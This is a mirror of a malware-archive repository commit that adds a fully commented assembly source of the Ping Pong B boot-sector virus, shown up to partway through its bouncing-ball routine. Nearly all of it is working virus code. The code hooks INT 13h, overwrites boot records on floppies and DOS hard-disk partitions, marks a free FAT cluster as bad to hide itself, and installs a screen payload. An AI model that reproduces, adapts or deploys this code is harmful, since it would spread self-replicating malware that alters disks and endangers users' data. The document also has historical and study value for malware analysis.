mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,730 @@
|
||||
TITLE PINGB-C.ASM - Ping Pong "B" virus assembly source code (CLEAN VERSION)
|
||||
|
||||
COMMENT # Read the following carefully:
|
||||
|
||||
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
|
||||
|
||||
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
|
||||
This virus, when assembled, is (almost) harmless if left in a file.
|
||||
At best, the code will overwrite part of DOS and hang your machine.
|
||||
At worst, it could wipe out the Boot record of A: or the master boot
|
||||
record of your hard disk. Since the virus MUST be loaded from a boot
|
||||
sector to function properly, running the code from DOS will definitely
|
||||
cause problems.
|
||||
|
||||
DISCLAIMER: The author will NOT be held responsible for any damages
|
||||
caused by careless use of the information presented here.
|
||||
|
||||
NOTE: This is the "clean" copy of the Ping Pong B virus. It "corrects"
|
||||
the coding quirks listed below.
|
||||
|
||||
|
||||
THEORY OF OPERATION:
|
||||
|
||||
1) A disk with the virus is booted.
|
||||
2) The BIOS memory count is decreased by 2k, to prevent DOS from
|
||||
overwriting the virus, and relocates itself to the reserved space.
|
||||
3) Part II of the virus is read into RAM just after part I.
|
||||
4) The original boot sector is read to 0000:7C00.
|
||||
5) Virus gets and saves the address of INT 13h, the BIOS disk service
|
||||
interrupt routine, then hooks its own routine in place.
|
||||
6) The virus jumps to 0000:7C00, load DOS if possible.
|
||||
|
||||
|
||||
INFECTION PROCESS:
|
||||
|
||||
1) A BIOS read request is preformed on the target disk.
|
||||
2) If the drive is different from the last drive that was read from, then
|
||||
attempt infection immediately. Otherwise, check the BIOS clock tick
|
||||
count to see if it's time to activate the bouncing ball routine.
|
||||
3) Read very first sector of the disk. If it's a hard disk, then search
|
||||
for a DOS-12 or DOS-16 partition, and if found, read the first sector
|
||||
of THAT partition. We now have the "normal" boot record of the target
|
||||
disk in the sector buffer.
|
||||
4) Copy the BPB from the boot record to the virus code space.
|
||||
5) Check virus' signature in the boot record to see if infected before.
|
||||
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
|
||||
per cluster to infect the disk.
|
||||
6) Calculate number of system use sectors, data sectors, and maximum cluster
|
||||
number.
|
||||
7) Starting with the first sector of the FAT, search for a free cluster.
|
||||
If none found, then don't infect the disk.
|
||||
8) The first free cluster is flagged as bad, and the FAT is updated. Note
|
||||
that only the first copy of the FAT will be modified.
|
||||
9) The original boot sector is re-read and written to the second sector of
|
||||
the virus' cluster. Part II of the virus is written to the first sector.
|
||||
Part I is written to sector 0, replacing the original boot record.
|
||||
|
||||
|
||||
INFECTION RESTRICTIONS:
|
||||
|
||||
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
|
||||
1) The virus will not infect a non-DOS bootable hard disk.
|
||||
2) The virus will only infect a disk with 512 byte sectors, and at least two
|
||||
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
|
||||
3) The virus will not infect a disk with no free space (from DOS's view).
|
||||
|
||||
|
||||
CODING QUIRKS: (All have been corrected!!)
|
||||
|
||||
1) The virus uses a "MOV CS,AX" instruction to continue execution after
|
||||
relocating itself to higher memory (see MEMORY MAP, below). This should
|
||||
not work on a 286 or 386 system (the author has not tried it!).
|
||||
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
|
||||
register). It could be replaced by "XOR rr,0" to save a byte.
|
||||
3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
|
||||
computing the ones complement, then adding one to get the twos
|
||||
complement.) This could be replaced by "NEG rr" to save three bytes.
|
||||
4) The use of OFS_ADJ (see below for computation) is needed to let me use
|
||||
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
|
||||
that would create a file about 32k in size on assembling. Instead, I
|
||||
chose to add this offset manually to force correct address generation.
|
||||
|
||||
|
||||
MEMORY MAP: (Adjusted for "clean" version!!)
|
||||
|
||||
The virus will relocate itself 2k below the top of memory. The virus
|
||||
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
|
||||
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
|
||||
the BIOS top of memory count. For a 640k machine the map becomes:
|
||||
|
||||
640.0k (9F80:0800, which is A000:0000) ==> Top of memory
|
||||
639.5k (9F80:0600 to 9F80:07FF) ==> Unused
|
||||
639.0k (9F80:0400 to 9F80:05FF) ==> Buffer used by virus
|
||||
638.5k (9F80:0200 to 9F80:03FF) ==> 2nd part of virus code
|
||||
638.0k (9F80:0000 to 9F80:01FF) ==> Main part of Ping Pong virus
|
||||
|
||||
# End of comment
|
||||
|
||||
|
||||
LOCALS
|
||||
|
||||
PROGRAM_ASSEMBLY_OFS EQU 0000H
|
||||
BOOT_SECTOR_LOAD_OFS EQU 7C00H
|
||||
|
||||
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
|
||||
ORG 0H ;Interrupt vector space
|
||||
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
|
||||
|
||||
ORG 0020H
|
||||
INT8_OFS DW ? ;INT 8h vector offset & segment
|
||||
INT8_SEG DW ?
|
||||
|
||||
ORG 004CH
|
||||
INT13_OFS DW ? ;INT 13h vector offset & segment
|
||||
INT13_SEG DW ?
|
||||
|
||||
ORG 0413H ;BIOS data area
|
||||
KB_MEM DW ? ;K bytes of RAM in machine
|
||||
|
||||
ORG 7C00H ;Jump here to load O/S
|
||||
BOOT_SECTOR_EXEC LABEL FAR
|
||||
|
||||
LOW_MEM_DATA ENDS
|
||||
|
||||
VIRUS SEGMENT
|
||||
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
|
||||
ORG 0H
|
||||
|
||||
START_HERE:
|
||||
JMP SHORT CODE_START ;Force a two byte relative JuMp
|
||||
NOP_INST:
|
||||
NOP
|
||||
OEM_ID DB 'PingPong' ;Must be eight characters long!
|
||||
BYTES_PER_SEC DW 512
|
||||
SEC_PER_CLU DB 2
|
||||
RES_SECTORS DW 1
|
||||
FAT_COPIES DB 2
|
||||
DIR_ENTRIES DW 112 ;This is a standard
|
||||
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
|
||||
MEDIA_DESCRIP DB 0FDH
|
||||
SEC_PER_FAT DW 2
|
||||
SEC_PER_TRK DW 9
|
||||
SIDES_ON_DISK DW 2
|
||||
HIDDEN_SECTORS DW 0
|
||||
|
||||
ORG 001EH ;Must ORGinate at offset 1Eh
|
||||
CODE_START:
|
||||
XOR AX,AX
|
||||
MOV SS,AX ;Set up stack pointer
|
||||
MOV SP,BOOT_SECTOR_LOAD_OFS
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,KB_MEM ;Get BIOS's count of available memory
|
||||
SUB AX,2 ;Reserve 2k for virus's use
|
||||
MOV KB_MEM,AX ;Save updated memory Kbyte count
|
||||
|
||||
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
|
||||
;paragraph count. The result is the target segment value for relocation.
|
||||
;For a 640k machine (numbers in parenthesis are decimal equivalents)
|
||||
; Original BIOS memory count: 280h ( 640) Kbytes
|
||||
; After virus subtracts 2k : 27Eh ( 638) Kbytes
|
||||
; Shifting left by 6 bits : 9F80h (40832) segment value
|
||||
MOV CL,06
|
||||
SHL AX,CL ;This is same as multiplying by 64
|
||||
MOV ES,AX ;Use result as segment value
|
||||
MOV SI,BOOT_SECTOR_LOAD_OFS
|
||||
XOR DI,DI ;Set up index regisetrs for move
|
||||
MOV CX,256
|
||||
REP MOVSW ;Copy 256 words (ie 512 bytes)
|
||||
MOV Word Ptr CS:CONT_ADDR+7C02H,AX ;Patch JUmP instruction.
|
||||
JMP CS:CONT_ADDR ;JUMP far into higher memory
|
||||
CONT_ADDR LABEL DWORD
|
||||
DW VIRUS_CONT
|
||||
DW ?
|
||||
|
||||
VIRUS_CONT LABEL FAR ;Continuation address after move
|
||||
PUSH CS
|
||||
POP DS ;Set up DS register
|
||||
ASSUME ES:VIRUS,DS:VIRUS
|
||||
CALL @@LOAD_PART_2 ;try two times to load part 2
|
||||
@@LOAD_PART_2:
|
||||
XOR AH,AH
|
||||
INT 13H ;Reset disk subsystem
|
||||
AND Byte Ptr DRIVE,080H ;Force drive number to either A: or C:
|
||||
MOV BX,PART2_SECTOR
|
||||
|
||||
;The sector read/write routine always uses a fixed offset of 0400h; so to get
|
||||
;the data into the right place, the segment registers are adjusted instead.
|
||||
;We want to load part 2 of the virus just after part 1, so the offset normally
|
||||
;would be 0200h (ie, 0000h+0200h). However, since the offset MUST be 0400h,
|
||||
;we will change ES to be 0200h BYTES lower then it normally would be.
|
||||
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
|
||||
;only subtract 0020h.
|
||||
;This gives us a effective offset calculation of 0400h - (20h * 10h) = 0200h
|
||||
PUSH CS
|
||||
POP AX ;See note above!!
|
||||
SUB AX,20H
|
||||
MOV ES,AX ;Move result into ES for read routine
|
||||
|
||||
CALL READ_SECTOR
|
||||
MOV BX,PART2_SECTOR ;Sector after part 2 of the virus is
|
||||
INC BX ; the original boot record of the disk
|
||||
MOV AX,0780H ;Address calculation for sector read:
|
||||
MOV ES,AX ; 0400h + (0780h * 10h) = 07C00h
|
||||
CALL READ_SECTOR ;Seperate segment and offset, and
|
||||
XOR AX,AX ; you get 0000:7C00.
|
||||
MOV FLAGS,AL ;Clear all flags.
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT13_OFS
|
||||
MOV BX,INT13_SEG
|
||||
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13
|
||||
MOV INT13_SEG,CS
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT13_PATCH+1,AX ;Save original INT 13h vector
|
||||
MOV INT13_PATCH+3,BX ; directly into instruction stream.
|
||||
MOV DL,DRIVE
|
||||
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
|
||||
|
||||
;***************************************
|
||||
WRITE_SECTOR:
|
||||
MOV AX,0301H
|
||||
JMP SHORT VIRUS_DISK_SERV
|
||||
READ_SECTOR:
|
||||
MOV AX,0201H
|
||||
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
|
||||
XCHG AX,BX ;Swap command code and sector number
|
||||
|
||||
;Now calculate the physical location of the sector number. DOS sectors are
|
||||
;sequential, while the BIOS uses track, head, and sector numbers.
|
||||
;Method:
|
||||
; Starting with: AX=DOS sector #
|
||||
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
|
||||
; Move sector number (in DL) to CH for later processing
|
||||
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
|
||||
; Since the track # may be more than 255, we will combine the lower
|
||||
; two bits in AH with the sector number in CH. First shift it left
|
||||
; by 6 bits, to get it in the form tt000000, then OR it with CH.
|
||||
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
|
||||
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
|
||||
; and "s" is bits of sector number. )
|
||||
; Now copy AX into CX, and reverse the two halves of CX. Now the track
|
||||
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
|
||||
; The side number is still in DL, so copy it into DH for the BIOS.
|
||||
|
||||
ADD AX,HIDDEN_SECTORS ;Add number of hidden sectors
|
||||
XOR DX,DX ; (Clear high word for 32 bit division)
|
||||
DIV SEC_PER_TRK ;Divide by sectors/track to get
|
||||
INC DL ; sector number in DX.
|
||||
MOV CH,DL
|
||||
XOR DX,DX
|
||||
DIV SIDES_ON_DISK ;Divide what's left in AX by
|
||||
MOV CL,06 ; # of sides to get a track number
|
||||
SHL AH,CL ; in AX and the head number in DX.
|
||||
OR AH,CH ;Do some bit shuffling to get the
|
||||
MOV CX,AX ; pieces in order...
|
||||
XCHG CH,CL
|
||||
MOV DH,DL ; and we're done! (whew!)
|
||||
|
||||
MOV AX,BX ;Move command code back into AX
|
||||
DISK_SERVICE:
|
||||
MOV DL,DRIVE
|
||||
MOV BX,0400H ;Offset is fixed. (See notes above)
|
||||
INT 13H
|
||||
JNC @@NO_ERR ;If successful, then return to caller normally
|
||||
POP AX ;Otherwise, remove caller's return address
|
||||
@@NO_ERR: ; and return one lever higher than should.
|
||||
RET
|
||||
|
||||
NEW_INT13 LABEL FAR ;New INT 13h handler
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX ;Save registers on stack
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS ;Establish our data segment registers
|
||||
POP DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
ASSUME DS:VIRUS,ES:VIRUS
|
||||
TEST Byte Ptr FLAGS,00000001B ;Was this INT invoked before?
|
||||
JNZ @@END ;If so, ignore this call
|
||||
CMP AH,02 ;Intercept read requests only
|
||||
JNE @@END
|
||||
CMP DRIVE,DL ;Check drive number...
|
||||
MOV DRIVE,DL ; (also save it for next time)
|
||||
JNZ @@INFECT ;...if not the same, infect immediately
|
||||
XOR AH,AH
|
||||
INT 1AH ;Get clock tick count
|
||||
TEST DH,07FH ;Is it the right time to activate
|
||||
JNZ @@UPDATE_TICKS ; the bouncing ball display?
|
||||
TEST DL,0F0H
|
||||
JNZ @@UPDATE_TICKS
|
||||
PUSH DX ;Preserve clock tick count
|
||||
CALL INST_BALL ;Install the bouncing ball routine,
|
||||
POP DX ; if not established already.
|
||||
@@UPDATE_TICKS:
|
||||
MOV CX,DX ;Find elapsed time since last call
|
||||
SUB DX,TICK_COUNT ; to this routine. Also save tick
|
||||
MOV TICK_COUNT,CX ; count for next time.
|
||||
SUB DX,36 ;If less than 2 seconds have passed,
|
||||
JB @@END ; don't infect the disk.
|
||||
@@INFECT:
|
||||
OR Byte Ptr FLAGS,00000001B ;Set busy flag for INT 13h
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
CALL INFECT_A_DISK ;Attempt to infect target disk
|
||||
POP DI
|
||||
POP SI
|
||||
AND Byte Ptr FLAGS,11111110B ;Clear busy flag.
|
||||
@@END:
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore caller's registers
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
INT13_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
|
||||
|
||||
INFECT_A_DISK:
|
||||
MOV AX,0201H ;Read one sector...
|
||||
MOV DH,0
|
||||
MOV CX,0001H ;...the first sector of a disk.
|
||||
CALL DISK_SERVICE
|
||||
|
||||
;At this point, the sector we just read could be a normal boot record,
|
||||
;or the partition table of a hard disk. If it's a boot record from a floppy,
|
||||
;then proceed to infect it. Otherwise, we have to find the DOS partition
|
||||
;of the hard disk and read the boot sector from that partition. We search
|
||||
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
|
||||
;drive/side/track/sector information, we read the first sector of the
|
||||
;partition. That sector will be the required boot record, which we will
|
||||
;prodeed to process.
|
||||
TEST Byte Ptr DRIVE,80H ;Is the disk a Winchester?
|
||||
JZ @@FLOPPY ;If so, then we got a partition table.
|
||||
MOV SI,OFFSET PARTITION_TABLE
|
||||
MOV CX,4
|
||||
@@LP: ;Check O/S identification byte:
|
||||
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
|
||||
JE @@FOUND ; if so, then continue with infection.
|
||||
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
|
||||
JE @@FOUND
|
||||
ADD SI,16 ;Not this one, go to next partition
|
||||
LOOP @@LP
|
||||
RET ;No suitable DOS partitions found, so exit.
|
||||
@@FOUND:
|
||||
MOV DX,[SI] ;Get drive number and side
|
||||
MOV CX,[SI+2] ;Get track and sector numbers
|
||||
MOV AX,0201H ;Read one sector...
|
||||
CALL DISK_SERVICE
|
||||
|
||||
@@FLOPPY: ;A DOS boot record is at CS:0400
|
||||
MOV SI,OFFSET _NOP_INST ;Copy BPB to virus' code
|
||||
MOV DI,OFFSET NOP_INST ; space at ES:0000h
|
||||
MOV CX,001CH
|
||||
REP MOVSB
|
||||
CMP Word Ptr _VIRUS_SIG,01357H ;Check virus' signature
|
||||
JNE @@INFECT ;Infect if not the same
|
||||
|
||||
;It is not known what the following code does; it seems to soem sort of
|
||||
;error recovery procedure, in case the first attempt at infection failed.
|
||||
CMP Byte Ptr _CONTINUATION,0
|
||||
JNB @@EXIT
|
||||
MOV AX,_SYSTEM_SECTORS
|
||||
MOV SYSTEM_SECTORS,AX
|
||||
MOV SI,_PART2_SECTOR
|
||||
JMP CONT_POINT
|
||||
@@EXIT:
|
||||
RET ;Exit now; cannot infect this disk
|
||||
|
||||
@@INFECT:
|
||||
CMP Word Ptr _BYTES_PER_SEC,512 ;512 byte sectors only!
|
||||
JNZ @@EXIT
|
||||
CMP Byte Ptr _SEC_PER_CLU,2 ;At lease 2 sectors per cluster
|
||||
JB @@EXIT
|
||||
|
||||
;The virus now computes the number of system use sectors and number of data
|
||||
;sectors. System use sectors include the Boot Record, FAT copies, root
|
||||
;directory, and any otherwise reserved sectors. What's left is the number
|
||||
;of data sectors.
|
||||
MOV CX,_RES_SECTORS ;Get # of reserved sectors
|
||||
MOV AL,_FAT_COPIES ;Get # of FAT copies
|
||||
CBW ;Convert to word in AX
|
||||
MUL Word Ptr _SEC_PER_FAT ;Multiply by sectors/FAT
|
||||
ADD CX,AX ;Add result to # reserved sec.
|
||||
|
||||
MOV AX,32 ;Each dir entry is 32 bytes
|
||||
MUL Word Ptr _DIR_ENTRIES ;Get size of root dir in bytes
|
||||
ADD AX,511 ;Round up when dividing...
|
||||
MOV BX,512 ;Divide by 512 to get # sectors
|
||||
DIV BX ; the root directory takes.
|
||||
ADD CX,AX ;Add to # reserved sectors
|
||||
MOV SYSTEM_SECTORS,CX ;(Overflow & remainder ignored)
|
||||
|
||||
;The virus now calculates the number of data sectors and clusters.
|
||||
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
|
||||
MOV AX,TOTAL_SECTORS ;Get total # of sectors on disk
|
||||
SUB AX,SYSTEM_SECTORS ;Subtract # of system sectors
|
||||
MOV BL,SEC_PER_CLU ;Get # of sectors in a cluster
|
||||
XOR DX,DX ;Clear high order word...
|
||||
XOR BH,BH ; and byte for division
|
||||
DIV BX ;Divide, to get # of clusters
|
||||
INC AX ;Round up by one
|
||||
MOV DI,AX ;Save for "find free" routine
|
||||
AND Byte Ptr FLAGS,11111011B ;Clear "16 bit FAT" flag.
|
||||
CMP AX,0FF0H ;Is # of clusters too high?
|
||||
JBE @@1
|
||||
OR Byte Ptr FLAGS,00000100B ;If so, set flag for 16 bit FAT
|
||||
@@1:
|
||||
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
|
||||
|
||||
ORG 01F3H
|
||||
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
|
||||
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
|
||||
FLAGS DB ? ;Bit mapped flags
|
||||
DRIVE DB ? ;Current drive number
|
||||
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
|
||||
CONTUATION DB ? ;??? Continuation flag???
|
||||
ORG 01FCH
|
||||
VIRUS_SIG DW 01357H ;Virus' signature
|
||||
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
|
||||
|
||||
|
||||
;*************** Second sector of virus code starts here! ******************;
|
||||
|
||||
ORG 0200H
|
||||
VIRUS_PART2_CONT:
|
||||
|
||||
;Now the search for a free cluster begins.
|
||||
MOV SI,1 ;Counter of now many FAT sectors searched
|
||||
MOV BX,RES_SECTORS ;Start with 1st FAT sector
|
||||
DEC BX ;Sub 1, because we add 1 later
|
||||
MOV CUR_FAT_SECTOR,BX
|
||||
MOV Byte Ptr FAT_OFS_ADJ,-2 ;Set "cluster overhead"
|
||||
|
||||
;Note: DI has maximum cluster number, and SI has current cluster number.
|
||||
@@NEXT_SECTOR:
|
||||
INC Word Ptr CUR_FAT_SECTOR ;Add one to FAT sector #
|
||||
MOV BX,CUR_FAT_SECTOR
|
||||
ADD Byte Ptr FAT_OFS_ADJ,2
|
||||
CALL READ_SECTOR ;Read the FAT sector
|
||||
JMP SHORT @@CHECK ;Check for end of search
|
||||
@@FIND_FREE:
|
||||
;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
|
||||
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
|
||||
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
|
||||
;divide by 2.
|
||||
MOV AX,3
|
||||
TEST Byte Ptr FLAGS,00000100B ;Check for 16 bit FAT
|
||||
JZ @@0
|
||||
INC AX ;Use 4 if FAT-16
|
||||
@@0:
|
||||
MUL SI ;Multiply by cluster number
|
||||
SHR AX,1 ;Divide by 2
|
||||
|
||||
;The cluster adjustment value is needed to keep offsets within 512 bytes.
|
||||
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
|
||||
;we calculate another FAT offset for each subsequent FAT sector.
|
||||
SUB AH,FAT_OFS_ADJ ;Subtract cluster adjustment
|
||||
MOV BX,AX
|
||||
CMP BX,01FFH ;Is offset too high?
|
||||
JNB @@NEXT_SECTOR ;If so, go to next sector
|
||||
MOV DX,Word Ptr [BX+SECTOR_BUFFER] ;Get entry
|
||||
|
||||
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
|
||||
;necessary. On a FAT-16, we can use the vlaue directly.
|
||||
;If it is a 12 bit FAT:
|
||||
; Clear upper nibble if cluster number is even.
|
||||
; Otherwise, throw out lower nibble and shift down by 4 bits.
|
||||
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check
|
||||
JNZ @@2
|
||||
MOV CL,04 ;Prepare for shift
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@1
|
||||
SHR DX,CL ;Shift down by 1 nibble if odd.
|
||||
@@1:
|
||||
AND DH,0FH ;Clear highest nibble.
|
||||
|
||||
@@2:
|
||||
;A free cluster has an entry of 0. Using the OR instruction, we check for
|
||||
;an entry of 0.
|
||||
OR DX,DX
|
||||
JZ FREE_FOUND
|
||||
@@CHECK: ;See if the maximun cluster number has been
|
||||
INC SI ; reached. If so, then no free cluster has
|
||||
CMP SI,DI ; been found, so we can't infect the disk
|
||||
JBE @@FIND_FREE
|
||||
RET
|
||||
|
||||
FREE_FOUND:
|
||||
;Now that we found a free cluster, we'll set that cluster to "bad" status.
|
||||
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
|
||||
;accordingly.
|
||||
MOV DX,0FFF7H ;Bad cluster flag.
|
||||
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check.
|
||||
JNZ @@0
|
||||
AND DH,0FH ;Clear upper nibble
|
||||
MOV CL,04
|
||||
TEST SI,1 ;Cluster number odd/even check.
|
||||
JZ @@0
|
||||
SHL DX,CL ;Shift by 4 bits if odd.
|
||||
@@0:
|
||||
OR Word Ptr [BX+SECTOR_BUFFER],DX ;Insert new value.
|
||||
MOV BX,CUR_FAT_SECTOR ;Get FAT sector #
|
||||
CALL WRITE_SECTOR ;Write modified FAT to disk
|
||||
MOV AX,SI ;Get free cluster number to AX
|
||||
SUB AX,2 ;Subtract cluster number basis
|
||||
MOV BL,SEC_PER_CLU ;Get # of sectors/cluster
|
||||
XOR BH,BH
|
||||
MUL BX ;Multiply to get sector number
|
||||
ADD AX,SYSTEM_SECTORS ;Add # system use sectors to
|
||||
MOV SI,AX ; get DOS sector # on disk
|
||||
XOR BX,BX ;Read the boot record from sector 0
|
||||
CALL READ_SECTOR
|
||||
MOV BX,SI ;Write it out to disk, in the second
|
||||
INC BX ; sector of our "bad" cluster
|
||||
CALL WRITE_SECTOR
|
||||
CONT_POINT:
|
||||
MOV BX,SI ;SI has first sector of free cluster
|
||||
MOV PART2_SECTOR,SI ;Save it
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,20H ;Adjust segment value so ES:0400 will
|
||||
MOV ES,AX ; be the same as CS:0200h
|
||||
CALL WRITE_SECTOR ;Write part 2 of virus to disk
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,40H ;Now adjust ES so an offset of 0400h
|
||||
MOV ES,AX ; will point to CS:0000h
|
||||
XOR BX,BX ;Write the first part of the virus
|
||||
CALL WRITE_SECTOR ; into the boot sector
|
||||
RET ;DISK IS NOW INFECTED!!!!
|
||||
|
||||
ORG 02B0H
|
||||
TICK_COUNT DW ?
|
||||
FAT_OFS_ADJ DB ?
|
||||
|
||||
INST_BALL: ;Install bouncing ball routine
|
||||
TEST Byte Ptr FLAGS,00000010B ;Installed already?
|
||||
JNZ @@EXIT
|
||||
OR Byte Ptr FLAGS,00000010B ;Set "installed" flag
|
||||
XOR AX,AX
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT8_OFS ;Get vector for INT 8h
|
||||
MOV BX,INT8_SEG
|
||||
MOV INT8_OFS,OFFSET NEW_INT8 ;Set vector to point at
|
||||
MOV INT8_SEG,CS ; our routine.
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT8_PATCH+1,AX ;Direcly patch original vector
|
||||
MOV INT8_PATCH+3,BX ; contents into our code.
|
||||
@@EXIT:
|
||||
RET
|
||||
|
||||
NEW_INT8 LABEL FAR ;New INT 8 handler
|
||||
PUSH DS
|
||||
PUSH AX
|
||||
PUSH BX ;Save affected registers
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AH,0FH ;Get video mode, page, and # of columns
|
||||
INT 10H
|
||||
MOV BL,AL ;Move mode number into BL
|
||||
;If the video mode and page are the same as last time, then continue bouncing
|
||||
;the ball. Otherwise, reset the ball position and increment, and start anew.
|
||||
;Note: The active page number is in BH throughout this routine.
|
||||
CMP BX,VIDEO_PARAMS ;Is mode and page same as last time?
|
||||
JE @@SAME_MODE
|
||||
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
|
||||
DEC AH ;Subtract 1 from number of columns
|
||||
MOV SCRN_COLS,AH ; onscreen and save it.
|
||||
MOV AH,1 ;Assume graphics mode.
|
||||
CMP BL,7 ;Mono text mode?
|
||||
JNE @@0
|
||||
DEC AH ;Set flag to 0 if so.
|
||||
@@0:
|
||||
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
|
||||
JNB @@1
|
||||
DEC AH
|
||||
@@1:
|
||||
MOV GRAF_MODE,AH ;Save flag value.
|
||||
MOV Word Ptr BALL_POS,0101H ;Set XY position to 1,1
|
||||
MOV Word Ptr BALL_INC,0101H ;Set XY increment to 1,1
|
||||
MOV AH,03H
|
||||
INT 10H ;Read cursor position into DX
|
||||
PUSH DX ; and save it on the stack.
|
||||
MOV DX,BALL_POS ;Get XY position of ball.
|
||||
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
|
||||
|
||||
@@SAME_MODE: ;Enter here if mode not changed.
|
||||
MOV AH,03H
|
||||
INT 10H ;Get cursor position into DX
|
||||
PUSH DX ; and save it.
|
||||
MOV AH,02
|
||||
MOV DX,BALL_POS
|
||||
INT 10H ;Move to bouncing ball location.
|
||||
MOV AX,ORG_CHAR ;Get original screen char & attribute.
|
||||
CMP Byte Ptr GRAF_MODE,1 ;Check for graphics mode/
|
||||
JNE @@3
|
||||
MOV AX,8307H ;If graphics mode, use CHR$(7)
|
||||
@@3: ;If not, then use original char
|
||||
MOV BL,AH ;Move color value into BL
|
||||
MOV CX,1 ;Write one character
|
||||
MOV AH,09H ; with attributes and all
|
||||
INT 10H ; into page in BH.
|
||||
|
||||
;The update routine will check for the ball's position on a screen border.
|
||||
;If it's on a border, then negate the increment for that direction.
|
||||
;(ie, if the ball was moving up, reverse it.) If the increment was not
|
||||
;changed, then "randomly" change the X or Y increment based on the lower
|
||||
;three bits of the previous screen character. This will make the ball
|
||||
;appear to bounce around "randomly" on a screen filled with characters.
|
||||
UPDATE_BALL_POS: ;Figure new ball position.
|
||||
MOV CX,BALL_INC ;Get ball position increment.
|
||||
CMP DH,0 ;Is is on the top row of the screen?
|
||||
JNZ @@0
|
||||
NEG CH
|
||||
@@0:
|
||||
CMP DH,24 ;Reached bottom edge?
|
||||
JNZ @@1
|
||||
NEG CH
|
||||
@@1:
|
||||
CMP DL,0 ;Reached left edge?
|
||||
JNZ @@2
|
||||
NEG CL
|
||||
@@2:
|
||||
CMP DL,SCRN_COLS ;Reached right edge?
|
||||
JNZ @@3
|
||||
NEG CL ;Should be familar by now!
|
||||
@@3:
|
||||
CMP CX,BALL_INC ;Is the increment the same as before?
|
||||
JNE CALC_NEW_POS ;If not, apply the modified increment.
|
||||
MOV AX,ORG_CHAR ;Do "ramdom" updating, as described
|
||||
AND AL,00000111B ; in the note above.
|
||||
CMP AL,00000011B
|
||||
JNE @@4
|
||||
NEG CH ;Reverse Y direction.
|
||||
@@4:
|
||||
CMP AL,00000101B
|
||||
JNE CALC_NEW_POS
|
||||
NEG CL ;Reverse X direction.
|
||||
|
||||
CALC_NEW_POS:
|
||||
ADD DL,CL ;Add increments to ball position.
|
||||
ADD DH,CH
|
||||
MOV BALL_INC,CX ;Save ball position increment and
|
||||
MOV BALL_POS,DX ; new ball position.
|
||||
MOV AH,02H ;Move to ball position, which is
|
||||
INT 10H ; in register DX.
|
||||
MOV AH,08H ;Read the present screen char and
|
||||
INT 10H ; attribute.
|
||||
MOV ORG_CHAR,AX ;Save them for next time.
|
||||
MOV BL,AH ;Use same attribute, if in text mode
|
||||
CMP Byte Ptr GRAF_MODE,1
|
||||
JNE @@0
|
||||
MOV BL,83H ;Otherwise, use color # 83H
|
||||
@@0:
|
||||
MOV CX,0001H ;Write one character and attribute
|
||||
